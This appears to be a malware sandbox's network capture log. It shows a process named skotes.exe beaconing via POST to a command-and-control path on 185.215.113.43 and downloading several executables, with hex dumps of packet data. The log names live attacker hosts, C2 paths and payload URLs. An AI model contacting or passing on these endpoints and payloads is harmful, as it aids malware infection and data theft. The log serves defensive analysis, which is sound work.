Nov 19, 2024 01:02:25.960257053 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:25.960314989 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:25.960433960 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Gz.
Nov 19, 2024 01:02:25.960469961 CET	1236	IN	Data Raw: 7d 6f 9d e9 61 aa d4 32 37 3b 52 ad b6 e0 ff eb 74 e8 81 ec 85 a7 ba 2c 20 d1 63 31 16 9e 02 58 ad 0d ba 09 cf aa c7 e4 3e 49 b0 06 b3 d8 c5 8c f2 ed 21 a5 a5 90 de a0 c3 f4 e1 bb 26 f0 ba 35 7f 5b 00 5b 02 3a 6d 3f 1c 45 77 3b 8e 79 ae e7 38 15 Data Ascii: }oa27;Rt, c1X>I!&5[[:m?Ew;y8_`ga7ws6KGh@:HIma;7`a}=D<I#r;AT@IN!F~(\|~%i"?26RbZbW_
Nov 19, 2024 01:02:25.960505009 CET	1236	IN	Data Raw: 42 5c c2 6c ab 64 e1 93 99 25 cb a0 4b ff da 98 7b ce f1 52 3c a6 11 e5 91 0b 72 d9 99 e9 de a0 19 0a 5f f3 94 fd 0e a4 0a 68 b9 a6 2d 4e de 9b c4 0b 7a f9 22 89 bd 07 72 07 4e 4e 44 9f f1 b8 65 ab d0 14 9a ae e2 e1 06 04 f7 f7 89 92 11 a3 85 c9 Data Ascii: B\ld%K{R<r_h-Nz"rNNDeg3piI1nG5[ll=Qyt7) X~js2Fq%-@vKO^Y~V*Ml.5\|E~W?yXLC9e
Nov 19, 2024 01:02:25.960540056 CET	1236	IN	Data Raw: 85 51 19 b3 60 d0 e7 09 a2 0f ec 99 ef 0d d8 44 23 b7 c9 d8 c9 a1 9d 94 78 b4 13 81 09 6c d0 c5 5a aa 35 a5 31 8c 11 13 4d c5 61 de 4e 0a 21 a8 8d 9d 60 c0 1f 74 63 84 22 94 d1 ae 5a 8d e1 60 e5 38 5f ee e2 d3 6e b3 de aa 85 b5 c3 41 dd b6 7d 3b Data Ascii: Q`D#xlZ51MaN!`tc"Z`8_nA};` {eWX\|F8Nrcuq{{e\:@z4Kj~om.ld<pR)vMKDj-oog0AAv@-Y
Nov 19, 2024 01:02:25.960575104 CET	1236	IN	Data Raw: 21 0a 38 50 89 64 a6 50 9e 97 d3 b2 62 5b f8 9c 0c 34 ab ea 95 a2 6c c0 00 3e 99 8f 9e 09 af 28 0e 8d c5 90 39 54 49 97 1c d1 d0 18 a2 fd 85 10 a3 09 8d 25 8f 5b 13 15 75 85 7b be 25 06 6e 78 82 af a3 98 6c bd bb a4 ba ac 1a 1d a7 17 24 87 b5 24 Data Ascii: !8PdPb[4l>(9TI%[u{%nxl$$craz!{Py2Jd-ExCx{ph2}U374$^y*E?R!I(3oX}_KT"h<T9rk}
Nov 19, 2024 01:02:25.960613012 CET	1236	IN	Data Raw: ff c1 23 b9 b4 76 c6 c5 c4 80 c0 7b 93 77 be f8 59 66 f3 8e b6 6b 76 be bb a8 09 29 08 ca 60 48 0e 12 7f 58 9d 00 a5 2c 8a 1c 81 7d 0a 4a a2 da 1e 1c c6 a2 7c 68 56 49 f2 a5 70 ac 61 41 3e 40 05 dc d2 35 a6 6b 0e a4 cb 0c 5c 95 35 fe 8a 1f fc 52 Data Ascii: #v{wYfkv)`HX,}J\|hVIpaA>@5k\5RY9}a$!GQ`dJny?J [ht&rpbr+(Gx{<1vAE x1A&=tXirC9'+*
Nov 19, 2024 01:02:25.965537071 CET	1236	IN	Data Raw: b5 a3 48 72 0f 18 0f 9b fa 4a 6e 7f 04 6d 2b b2 b6 35 82 77 03 bb 52 5b 1a 9f ea b1 f2 00 7d 94 10 3f b6 e1 95 1f 41 d4 7c a6 0a 32 9d 34 76 c0 ff 70 47 01 6a 0d f4 c2 c1 ff c9 3f 91 c4 6d 1c bd bc bd 9d 8a 85 46 06 ca 86 76 28 06 c7 7d 06 a4 6d Data Ascii: HrJnm+5wR[}?A\|24vpGj?mFv(}mu<4FB$"v29OF{V3o{cB>bX5OT7I?Fk~3L^w LvT-%KzV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50116	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:32.869971991 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007265001&unit=246122658369
Nov 19, 2024 01:02:33.788794041 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50117	185.215.113.16	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:33.798379898 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 01:02:34.709916115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:34 GMT Content-Type: application/octet-stream Content-Length: 1907200 Last-Modified: Mon, 18 Nov 2024 23:55:32 GMT Connection: keep-alive ETag: "673bd3f4-1d1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4b 00 00 04 00 00 bc cd 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELr;gPK@K@\ppq P^@.rsrc `n@.idata pn@ 0+p@wwpoecnv0r@qkpdvlzx@K@.taggant0PK"@
Nov 19, 2024 01:02:34.709958076 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:34.709971905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:34.709990978 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:34.710015059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:34.710033894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:34.710052013 CET	1236	IN	Data Raw: 80 62 4b a2 8e be c0 28 89 97 51 0d 43 51 60 8f 02 d0 c7 12 62 78 f3 fe 43 f5 f9 d1 28 a4 16 64 84 86 c4 98 ee 91 67 7b 8d 88 57 8b d0 0e a2 3b c1 c4 8a 4f 6b fe 34 ab b5 36 ba d3 49 89 f7 be 10 ea 08 f5 ea ec 2e a2 52 8d 08 6f 7f f1 fd 48 35 62 Data Ascii: bK(QCQ`bxC(dg{W;Ok46I.RoH5bzJsA ($ ohg+O%~~Dhf2nJx7]a_h3g;$13xJ$8waG@]WEfH>
Nov 19, 2024 01:02:34.710067987 CET	636	IN	Data Raw: 21 c5 e0 4c 9b c7 63 92 28 fa 3a cc f8 2a 91 f5 c4 a0 ce 14 c8 4c 48 73 02 e5 5b 49 f9 50 34 72 e8 ee a4 ec 9d 03 18 8e df ee f5 50 c8 ac 21 67 2b 3b 90 94 3e f2 4e bf 2d 58 47 11 1a 50 e1 9d 9f fe 4a 63 08 54 8b d4 99 a4 4c d0 8d 1f 4b 9a 85 c5 Data Ascii: !Lc(:*LHs[IP4rP!g+;>N-XGPJcTLKvkt!:>l)gPh;+m<.)QR-H+D1:U\|0GX79r_K!(^}:DPv"V.g,r?\_p!
Nov 19, 2024 01:02:34.710285902 CET	1236	IN	Data Raw: 68 0f 5a 9b 0f 15 2b f2 14 18 47 81 ec 54 b7 96 c7 58 cb a5 59 50 ea d6 3a da 8a 1a 1b 4d a6 b2 53 36 4b eb 6b 4f cd 2d 1a 6a 2f 75 98 40 f1 16 bb 60 81 bb 09 e6 57 b4 31 54 67 a4 a3 6f 8d a8 49 c4 58 8b 85 bf d4 e5 b5 5f 0b 93 d7 05 51 7e 6c f5 Data Ascii: hZ+GTXYP:MS6KkO-j/u@`W1TgoIX_Q~luo$O>u$/)-kZQ-1Rii/Q[]h4}^yQa~r-PB1uiXDaH0pa212MFcF$*UJY`JK"fIBD[=u^
Nov 19, 2024 01:02:34.710601091 CET	1236	IN	Data Raw: e4 cd 2b e2 de 90 9e a1 10 fa 5f fa 82 02 5b a8 d7 f4 73 d8 ff 52 95 0d aa 16 34 15 72 2e e8 a6 98 42 df 1b ac b8 d5 7a e6 3b 94 ee ee 41 c3 35 dd 31 47 77 11 aa cb 9e 46 38 cd 15 dc 41 49 13 20 c0 4d 8a 54 49 06 99 14 7f 2b 0d 80 7a 50 1e 47 30 Data Ascii: +_[sR4r.Bz;A51GwF8AI MTI+zPG0UJEk(Op!1Qo^lc$H1H.~JT%Y!1w\|W?!IyfH{AUkq0>NTGCo3=r
Nov 19, 2024 01:02:34.714943886 CET	1236	IN	Data Raw: ea 7a cf 05 2d 61 44 cd d3 9d b0 cb b5 0e b7 cf cb b8 b1 30 9e 22 1f a2 5a 82 87 1f 69 cc 21 b2 02 0d 41 24 ca 4e 50 0a 98 cb cd 6a 96 a0 ad fb 4d cd 2b f0 a0 d0 68 2e 9a 88 63 c2 86 54 49 c4 79 4a 5e 95 c8 e3 19 be 9d f2 e6 ca 2c 68 12 00 79 2a Data Ascii: z-aD0"Zi!A$NPjM+h.cTIyJ^,hy</h'RR6Id!O,RIf6@+Fe>t9N&AI7Cg^s_u{B`! q~_9DotAQ>AZIi_RT?Zu{*o(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50118	62.76.234.151	80	8820	C:\Users\user\AppData\Local\Temp\1007265001\9b3207e1a5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:34.102279902 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 19, 2024 01:02:35.121445894 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 19 Nov 2024 00:02:34 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 19, 2024 01:02:35.121583939 CET	212	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL
Nov 19, 2024 01:02:35.155518055 CET	1236	IN	Data Raw: 11 39 9f 7e 7f 8d 16 97 05 0a 25 a4 c7 10 6b c2 9f f9 a7 a4 89 e5 c1 96 6b 49 af 33 c0 f4 2f b5 f2 4f ec 13 a2 93 29 5b 5a 07 4b 7c cc b9 45 cc 62 3b c4 f5 6f ca 0f fa 12 e9 62 cb aa be 08 cb 0c 54 df 37 24 29 22 9d 38 f7 f2 38 e8 c3 68 d3 63 4d Data Ascii: 9~%kkI3/O)[ZK\|Eb;obT7$)"88hcM^Q#{yq3B\|W/)1<v}:./dA(oRBZkWH,Fypr6&0.}.tWfl#J4@y^ST%kQb.o:J,rr\
Nov 19, 2024 01:02:35.155544996 CET	1236	IN	Data Raw: 4c 02 37 d9 3d 07 d1 9d 61 11 8d 96 d6 0d db 40 d1 68 aa 97 8e 36 9a 11 93 5c d5 35 30 23 bf 4d a3 4e f3 a8 35 ca 12 56 f6 d8 91 d4 74 a3 8b b3 7d 80 49 88 1d 44 48 6a cb 0c 26 5a 38 b9 54 a9 e2 07 29 8a 2a c2 de 6f df 94 df dd 15 ef 09 30 f8 0e Data Ascii: L7=a@h6\50#MN5Vt}IDHj&Z8T)*o0OosJ\|/0BbQ'!j/f5}Iz60Dq)lrl ]]tp=+sIphl__k?a7Y.Kfi92`sqn
Nov 19, 2024 01:02:35.155566931 CET	1236	IN	Data Raw: 90 da ff 30 aa 9c 3c 3d 0b 49 33 b2 e7 f7 82 4a 6b 92 58 d3 0c f0 0e 4f ef a9 30 ed f5 9d 02 7e a1 48 b2 7f ff 30 8b 9c e9 a8 c2 6c 1e ef a3 8f f3 07 ba e2 df b2 d3 9f 16 73 95 86 08 f4 d6 f1 c3 5e 45 df 7f aa 16 57 48 45 e7 c4 6e 58 e0 dd 4f 1c Data Ascii: 0<=I3JkXO0~H0ls^EWHEnXOxKz@]Z`.wQ0rMiyWGDhiEF@=D0%Nuu Uyg4"1AF<zTRnib/`0+kEkcWT]Ay
Nov 19, 2024 01:02:35.155585051 CET	636	IN	Data Raw: c6 8f ca 29 15 ea 94 ee c6 3d 76 75 bf 4a 11 e4 88 04 74 4f 71 4e 09 4c e3 ac a6 33 4e 13 0c cd 4c 4b 99 6a 57 cb 65 0b 66 f2 1c fd 75 f6 a3 fe 35 73 5c 82 be 6f 6f d0 69 10 f3 50 c4 d8 d9 22 4f d0 bd 1d 00 5c ad 3d 7d c4 7f 36 71 27 38 42 0d 83 Data Ascii: )=vuJtOqNL3NLKjWefu5s\ooiP"O\=}6q'8B?RUsD6O}3 381[z<@]k\y*p=z%f)%N@5>BqEeVmHd~260Uh@7<INwqA^U0o9:4pi;hdz
Nov 19, 2024 01:02:35.174829006 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 19, 2024 01:02:35.174917936 CET	212	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(
Nov 19, 2024 01:02:35.174949884 CET	1236	IN	Data Raw: 77 2e b5 41 cf 3f 6f 9d 7d b6 f6 de 27 53 c7 da 9f e7 14 1e 08 fa ae da 35 34 20 4e 39 9c 45 67 b5 aa 78 64 04 3d ad c6 f8 28 bf f8 d3 75 80 94 fa 49 8e 17 c3 79 91 3f 3f c3 5a bf 6b 4f 7b c0 19 00 44 92 4c 21 a0 0d 76 60 8a cd 09 1b fa 69 d4 58 Data Ascii: w.A?o}'S54 N9Egxd=(uIy??ZkO{DL!v`iX:l$.K5PT0?[s[-Bd'EE.DkJ\^A2AW7Y'eqA#A(pI>j>iB3l(Bs?9UA5Ihhg[C4\|_I~\|vaD
Nov 19, 2024 01:02:35.174983978 CET	1236	IN	Data Raw: 30 be b5 2b ec 88 94 c9 a8 95 5d 60 35 dc 42 cf 31 45 5e b2 92 98 67 9e 8d 17 6f 96 c8 24 b2 8c a5 c0 4d 84 04 98 f0 24 44 1f 34 05 0c 6f 24 ee c0 15 79 0b 4e a0 2c e2 a7 03 bb 56 f4 35 45 81 46 22 7a cc 70 60 ce 12 ca 1b 27 ca fc ce 7f 4b a5 8d Data Ascii: 0+]`5B1E^go$M$D4o$yN,V5EF"zp`'KS0M_rW\C?.N(\|F\Q$juz"yMo.Lb%9KNXN4MB asC) nm zz+\|M`V;0]
Nov 19, 2024 01:02:35.175018072 CET	1236	IN	Data Raw: 51 c6 c3 02 2b 51 6a 7a f9 19 4f 19 e9 84 2e 75 f8 68 ff 3d 28 3f db 23 27 db 1f 65 73 d0 98 bd f6 83 71 70 b6 42 6e 04 43 58 3c 73 72 30 f4 78 f1 95 af 0c be 5d 73 fc 93 5f 9d fc 10 84 84 ec 63 db 29 19 c3 2c de 67 8d 80 5b 88 e2 3d 1b 8e 83 d5 Data Ascii: Q+QjzO.uh=(?#'esqpBnCX<sr0x]s_c),g[=hFDb@Yt1jLr:P[~2f[HpW_HYo0o&}@#3Z.O0z0%Kp3SpBL~ V}fzyuZZph#i6>&'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50120	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:38.085442066 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007274001&unit=246122658369
Nov 19, 2024 01:02:39.014961958 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50124	185.215.113.16	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:02:39.024121046 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 19, 2024 01:02:39.961976051 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:02:39 GMT Content-Type: application/octet-stream Content-Length: 1826816 Last-Modified: Mon, 18 Nov 2024 23:55:40 GMT Connection: keep-alive ETag: "673bd3fc-1be000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 e0 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 6a 00 00 04 00 00 a7 42 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"i@jB@M$a$$ $b@.rsrc$r@.idata $t@ *$v@cyeoavrbPOBx@yqyctdili@.taggant0i"@
Nov 19, 2024 01:02:39.962007046 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:39.962153912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:39.962167978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:39.962188005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:02:39.962199926 CET	1236	IN	Data Raw: 3f cb f2 14 19 b9 01 9c 36 1c 89 32 b2 74 db 42 ec 3c 82 92 7c ac 07 1f f4 e8 61 e9 bd 9f 7e 4d 67 e5 ea 49 81 2b 53 15 6c 6f 49 43 ad 20 f0 fb 55 3d f1 c3 7a 08 b2 97 35 ef ab 74 7a 29 5b 19 03 9b eb fe fb 7a 76 3d cd bc 40 be 55 2e 3b 18 64 24 Data Ascii: ?62tB<\|a~MgI+SloIC U=z5tz)[zv=@U.;d$90Ffi_-qkfuz^tT)lYPe")!.yAp.]Y&cxJ02/.ghXR-jS.kO_-V=4@a&72*k
